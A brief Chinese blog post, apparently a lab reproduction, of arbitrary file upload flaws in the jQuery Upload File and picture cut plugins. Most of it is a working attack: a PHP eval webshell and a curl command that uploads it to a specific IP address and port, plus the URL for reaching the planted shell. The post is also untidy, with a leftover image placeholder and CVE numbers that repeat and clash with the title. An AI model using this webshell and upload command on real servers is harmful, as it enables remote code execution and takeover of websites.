【漏洞复现】 jquery 文件上传 (CVE-2018-9207|CVE-2018-9208)

1.php

在这里插入图片描述

<?php eval($_POST[1]);

(CVE-2018-9208)

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。

jQuery Upload File <= 4.0.2 中的任意文件上传

 curl -F "myfile=@1.php" "http://123.58.224.8:41698/jquery-upload-file/php/upload.php"
http://123.58.224.8:41698/jquery-upload-file/php/uploads/1.php

(CVE-2018-9208)

picture cut是一个jquery插件,以非常友好和简单的方式处理图像,具有基于bootstrap或jquery ui的漂亮界面,具有ajax上传,从资源管理器拖动图像,图像裁剪等强大的功能


版权声明:本文为qq_52549196原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。